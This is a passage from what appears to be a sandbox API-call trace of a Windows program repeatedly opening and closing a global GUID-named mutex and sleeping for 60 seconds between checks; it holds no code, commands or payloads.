lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc0c [0118.522] CloseHandle (hObject=0xc0c) returned 1 [0118.522] Sleep (dwMilliseconds=0xea60) [0118.545] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.545] CloseHandle (hObject=0xc14) returned 1 [0118.545] Sleep (dwMilliseconds=0xea60) [0118.565] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.565] CloseHandle (hObject=0xc14) returned 1 [0118.565] Sleep (dwMilliseconds=0xea60) [0118.589] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.589] CloseHandle (hObject=0xc14) returned 1 [0118.589] Sleep (dwMilliseconds=0xea60) [0118.607] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.607] CloseHandle (hObject=0xc14) returned 1 [0118.607] Sleep (dwMilliseconds=0xea60) [0118.624] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.624] CloseHandle (hObject=0xc14) returned 1 [0118.624] Sleep (dwMilliseconds=0xea60) [0118.643] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.643] CloseHandle (hObject=0xc14) returned 1 [0118.643] Sleep (dwMilliseconds=0xea60) [0118.665] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.665] CloseHandle (hObject=0xc14) returned 1 [0118.665] Sleep (dwMilliseconds=0xea60) [0118.686] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.686] CloseHandle (hObject=0xc08) returned 1 [0118.686] Sleep (dwMilliseconds=0xea60) [0118.686] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0118.686] CloseHandle (hObject=0xc08) returned 1 [0118.686] Sleep (dwMilliseconds=0xea60) [0118.709] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.709] CloseHandle (hObject=0xc14) returned 1 [0118.709] Sleep (dwMilliseconds=0xea60) [0118.732] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.732] CloseHandle (hObject=0xc14) returned 1 [0118.732] Sleep (dwMilliseconds=0xea60) [0118.755] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.755] CloseHandle (hObject=0xc14) returned 1 [0118.756] Sleep (dwMilliseconds=0xea60) [0118.778] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.779] CloseHandle (hObject=0xc14) returned 1 [0118.779] Sleep (dwMilliseconds=0xea60) [0118.803] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.803] CloseHandle (hObject=0xc14) returned 1 [0118.803] Sleep (dwMilliseconds=0xea60) [0118.826] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.826] CloseHandle (hObject=0xc14) returned 1 [0118.826] Sleep (dwMilliseconds=0xea60) [0118.851] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.851] CloseHandle (hObject=0xc14) returned 1 [0118.851] Sleep (dwMilliseconds=0xea60) [0118.874] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.874] CloseHandle (hObject=0xc14) returned 1 [0118.874] Sleep (dwMilliseconds=0xea60) [0118.898] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.898] CloseHandle (hObject=0xc14) returned 1 [0118.898] Sleep (dwMilliseconds=0xea60) [0118.923] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.923] CloseHandle (hObject=0xc14) returned 1 [0118.923] Sleep (dwMilliseconds=0xea60) [0118.946] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.946] CloseHandle (hObject=0xc14) returned 1 [0118.946] Sleep (dwMilliseconds=0xea60) [0118.969] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.969] CloseHandle (hObject=0xc14) returned 1 [0118.970] Sleep (dwMilliseconds=0xea60) [0118.993] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0118.993] CloseHandle (hObject=0xc14) returned 1 [0118.994] Sleep (dwMilliseconds=0xea60) [0119.019] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.019] CloseHandle (hObject=0xc14) returned 1 [0119.019] Sleep (dwMilliseconds=0xea60) [0119.043] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.043] CloseHandle (hObject=0xc14) returned 1 [0119.043] Sleep (dwMilliseconds=0xea60) [0119.066] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.066] CloseHandle (hObject=0xc14) returned 1 [0119.066] Sleep (dwMilliseconds=0xea60) [0119.089] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.089] CloseHandle (hObject=0xc14) returned 1 [0119.089] Sleep (dwMilliseconds=0xea60) [0119.112] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.112] CloseHandle (hObject=0xc14) returned 1 [0119.112] Sleep (dwMilliseconds=0xea60) [0119.135] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.135] CloseHandle (hObject=0xc14) returned 1 [0119.135] Sleep (dwMilliseconds=0xea60) [0119.154] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.154] CloseHandle (hObject=0xc14) returned 1 [0119.154] Sleep (dwMilliseconds=0xea60) [0119.156] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.156] CloseHandle (hObject=0xc08) returned 1 [0119.156] Sleep (dwMilliseconds=0xea60) [0119.171] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.171] CloseHandle (hObject=0xc14) returned 1 [0119.171] Sleep (dwMilliseconds=0xea60) [0119.188] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.188] CloseHandle (hObject=0xc14) returned 1 [0119.188] Sleep (dwMilliseconds=0xea60) [0119.204] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.204] CloseHandle (hObject=0xc14) returned 1 [0119.204] Sleep (dwMilliseconds=0xea60) [0119.208] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.208] CloseHandle (hObject=0xc14) returned 1 [0119.208] Sleep (dwMilliseconds=0xea60) [0119.208] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.208] CloseHandle (hObject=0xc14) returned 1 [0119.208] Sleep (dwMilliseconds=0xea60) [0119.225] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.225] CloseHandle (hObject=0xc14) returned 1 [0119.225] Sleep (dwMilliseconds=0xea60) [0119.232] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.232] CloseHandle (hObject=0xc08) returned 1 [0119.232] Sleep (dwMilliseconds=0xea60) [0119.232] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.248] CloseHandle (hObject=0xc14) returned 1 [0119.248] Sleep (dwMilliseconds=0xea60) [0119.265] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.265] CloseHandle (hObject=0xc14) returned 1 [0119.265] Sleep (dwMilliseconds=0xea60) [0119.281] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.282] CloseHandle (hObject=0xc14) returned 1 [0119.282] Sleep (dwMilliseconds=0xea60) [0119.299] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.299] CloseHandle (hObject=0xc14) returned 1 [0119.299] Sleep (dwMilliseconds=0xea60) [0119.321] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.321] CloseHandle (hObject=0xc14) returned 1 [0119.321] Sleep (dwMilliseconds=0xea60) [0119.330] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.330] CloseHandle (hObject=0xc08) returned 1 [0119.330] Sleep (dwMilliseconds=0xea60) [0119.330] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.330] CloseHandle (hObject=0xc08) returned 1 [0119.330] Sleep (dwMilliseconds=0xea60) [0119.345] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.345] CloseHandle (hObject=0xc14) returned 1 [0119.345] Sleep (dwMilliseconds=0xea60) [0119.362] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.362] CloseHandle (hObject=0xc14) returned 1 [0119.362] Sleep (dwMilliseconds=0xea60) [0119.363] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.363] CloseHandle (hObject=0xc14) returned 1 [0119.363] Sleep (dwMilliseconds=0xea60) [0119.381] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.381] CloseHandle (hObject=0xc14) returned 1 [0119.381] Sleep (dwMilliseconds=0xea60) [0119.399] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.399] CloseHandle (hObject=0xc14) returned 1 [0119.399] Sleep (dwMilliseconds=0xea60) [0119.417] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.417] CloseHandle (hObject=0xc14) returned 1 [0119.417] Sleep (dwMilliseconds=0xea60) [0119.427] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.427] CloseHandle (hObject=0xc08) returned 1 [0119.427] Sleep (dwMilliseconds=0xea60) [0119.428] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.428] CloseHandle (hObject=0xc08) returned 1 [0119.428] Sleep (dwMilliseconds=0xea60) [0119.442] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.442] CloseHandle (hObject=0xc14) returned 1 [0119.442] Sleep (dwMilliseconds=0xea60) [0119.458] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.458] CloseHandle (hObject=0xc14) returned 1 [0119.458] Sleep (dwMilliseconds=0xea60) [0119.476] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.476] CloseHandle (hObject=0xc14) returned 1 [0119.476] Sleep (dwMilliseconds=0xea60) [0119.492] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.492] CloseHandle (hObject=0xc14) returned 1 [0119.492] Sleep (dwMilliseconds=0xea60) [0119.509] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.509] CloseHandle (hObject=0xc14) returned 1 [0119.509] Sleep (dwMilliseconds=0xea60) [0119.526] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.526] CloseHandle (hObject=0xc14) returned 1 [0119.526] Sleep (dwMilliseconds=0xea60) [0119.544] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.544] CloseHandle (hObject=0xc14) returned 1 [0119.544] Sleep (dwMilliseconds=0xea60) [0119.560] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.560] CloseHandle (hObject=0xc14) returned 1 [0119.560] Sleep (dwMilliseconds=0xea60) [0119.578] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.578] CloseHandle (hObject=0xc14) returned 1 [0119.578] Sleep (dwMilliseconds=0xea60) [0119.594] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.594] CloseHandle (hObject=0xc14) returned 1 [0119.594] Sleep (dwMilliseconds=0xea60) [0119.612] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.612] CloseHandle (hObject=0xc14) returned 1 [0119.612] Sleep (dwMilliseconds=0xea60) [0119.623] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.623] CloseHandle (hObject=0xc08) returned 1 [0119.623] Sleep (dwMilliseconds=0xea60) [0119.623] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.623] CloseHandle (hObject=0xc08) returned 1 [0119.623] Sleep (dwMilliseconds=0xea60) [0119.636] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.636] CloseHandle (hObject=0xc14) returned 1 [0119.636] Sleep (dwMilliseconds=0xea60) [0119.654] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.654] CloseHandle (hObject=0xc14) returned 1 [0119.654] Sleep (dwMilliseconds=0xea60) [0119.670] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.670] CloseHandle (hObject=0xc14) returned 1 [0119.670] Sleep (dwMilliseconds=0xea60) [0119.687] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.687] CloseHandle (hObject=0xc14) returned 1 [0119.687] Sleep (dwMilliseconds=0xea60) [0119.688] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.688] CloseHandle (hObject=0xc14) returned 1 [0119.688] Sleep (dwMilliseconds=0xea60) [0119.704] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.704] CloseHandle (hObject=0xc14) returned 1 [0119.704] Sleep (dwMilliseconds=0xea60) [0119.721] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.721] CloseHandle (hObject=0xc14) returned 1 [0119.721] Sleep (dwMilliseconds=0xea60) [0119.739] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.739] CloseHandle (hObject=0xc14) returned 1 [0119.739] Sleep (dwMilliseconds=0xea60) [0119.753] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.753] CloseHandle (hObject=0xc08) returned 1 [0119.753] Sleep (dwMilliseconds=0xea60) [0119.753] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.753] CloseHandle (hObject=0xc08) returned 1 [0119.753] Sleep (dwMilliseconds=0xea60) [0119.767] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.767] CloseHandle (hObject=0xc14) returned 1 [0119.767] Sleep (dwMilliseconds=0xea60) [0119.769] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.769] CloseHandle (hObject=0xc08) returned 1 [0119.769] Sleep (dwMilliseconds=0xea60) [0119.789] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.789] CloseHandle (hObject=0xc14) returned 1 [0119.789] Sleep (dwMilliseconds=0xea60) [0119.808] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.808] CloseHandle (hObject=0xc14) returned 1 [0119.808] Sleep (dwMilliseconds=0xea60) [0119.826] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.826] CloseHandle (hObject=0xc14) returned 1 [0119.826] Sleep (dwMilliseconds=0xea60) [0119.843] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0119.843] CloseHandle (hObject=0xc14) returned 1 [0119.843] Sleep (dwMilliseconds=0xea60) [0119.859] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.859] CloseHandle (hObject=0xc08) returned 1 [0119.863] Sleep (dwMilliseconds=0xea60) [0119.880] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.880] CloseHandle (hObject=0xc08) returned 1 [0119.880] Sleep (dwMilliseconds=0xea60) [0119.899] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.899] CloseHandle (hObject=0xc08) returned 1 [0119.899] Sleep (dwMilliseconds=0xea60) [0119.916] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.917] CloseHandle (hObject=0xc08) returned 1 [0119.917] Sleep (dwMilliseconds=0xea60) [0119.933] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0119.933] CloseHandle (hObject=0xc08) returned 1 [0119.934] Sleep (dwMilliseconds=0xea60) [0119.955] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0119.955] CloseHandle (hObject=0xc04) returned 1 [0119.955] Sleep (dwMilliseconds=0xea60) [0119.974] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0119.974] CloseHandle (hObject=0xc04) returned 1 [0119.974] Sleep (dwMilliseconds=0xea60) [0119.992] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0119.992] CloseHandle (hObject=0xc04) returned 1 [0119.992] Sleep (dwMilliseconds=0xea60) [0120.009] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0120.009] CloseHandle (hObject=0xc04) returned 1 [0120.010] Sleep (dwMilliseconds=0xea60) [0120.010] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0120.010] CloseHandle (hObject=0xc04) returned 1 [0120.010] Sleep (dwMilliseconds=0xea60) [0120.011] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0120.011] CloseHandle (hObject=0xc04) returned 1 [0120.011] Sleep (dwMilliseconds=0xea60) [0120.012] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0120.012] CloseHandle (hObject=0xc04) returned 1 [0120.012] Sleep (dwMilliseconds=0xea60) [0120.014] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.014] CloseHandle (hObject=0xbfc) returned 1 [0120.014] Sleep (dwMilliseconds=0xea60) [0120.018] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.018] CloseHandle (hObject=0xbfc) returned 1 [0120.018] Sleep (dwMilliseconds=0xea60) [0120.018] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.018] CloseHandle (hObject=0xbfc) returned 1 [0120.018] Sleep (dwMilliseconds=0xea60) [0120.020] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.020] CloseHandle (hObject=0xbfc) returned 1 [0120.020] Sleep (dwMilliseconds=0xea60) [0120.021] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.021] CloseHandle (hObject=0xbfc) returned 1 [0120.021] Sleep (dwMilliseconds=0xea60) [0120.023] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0120.023] CloseHandle (hObject=0xc04) returned 1 [0120.023] Sleep (dwMilliseconds=0xea60) [0120.023] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0120.030] CloseHandle (hObject=0xc04) returned 1 [0120.030] Sleep (dwMilliseconds=0xea60) [0120.030] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0120.030] CloseHandle (hObject=0xc04) returned 1 [0120.030] Sleep (dwMilliseconds=0xea60) [0120.044] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.044] CloseHandle (hObject=0xbfc) returned 1 [0120.044] Sleep (dwMilliseconds=0xea60) [0120.061] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.061] CloseHandle (hObject=0xbfc) returned 1 [0120.061] Sleep (dwMilliseconds=0xea60) [0120.080] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.080] CloseHandle (hObject=0xbfc) returned 1 [0120.080] Sleep (dwMilliseconds=0xea60) [0120.097] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.097] CloseHandle (hObject=0xbfc) returned 1 [0120.097] Sleep (dwMilliseconds=0xea60) [0120.114] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.114] CloseHandle (hObject=0xbfc) returned 1 [0120.114] Sleep (dwMilliseconds=0xea60) [0120.131] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.131] CloseHandle (hObject=0xbfc) returned 1 [0120.131] Sleep (dwMilliseconds=0xea60) [0120.151] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.151] CloseHandle (hObject=0xbfc) returned 1 [0120.151] Sleep (dwMilliseconds=0xea60) [0120.167] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0120.167] 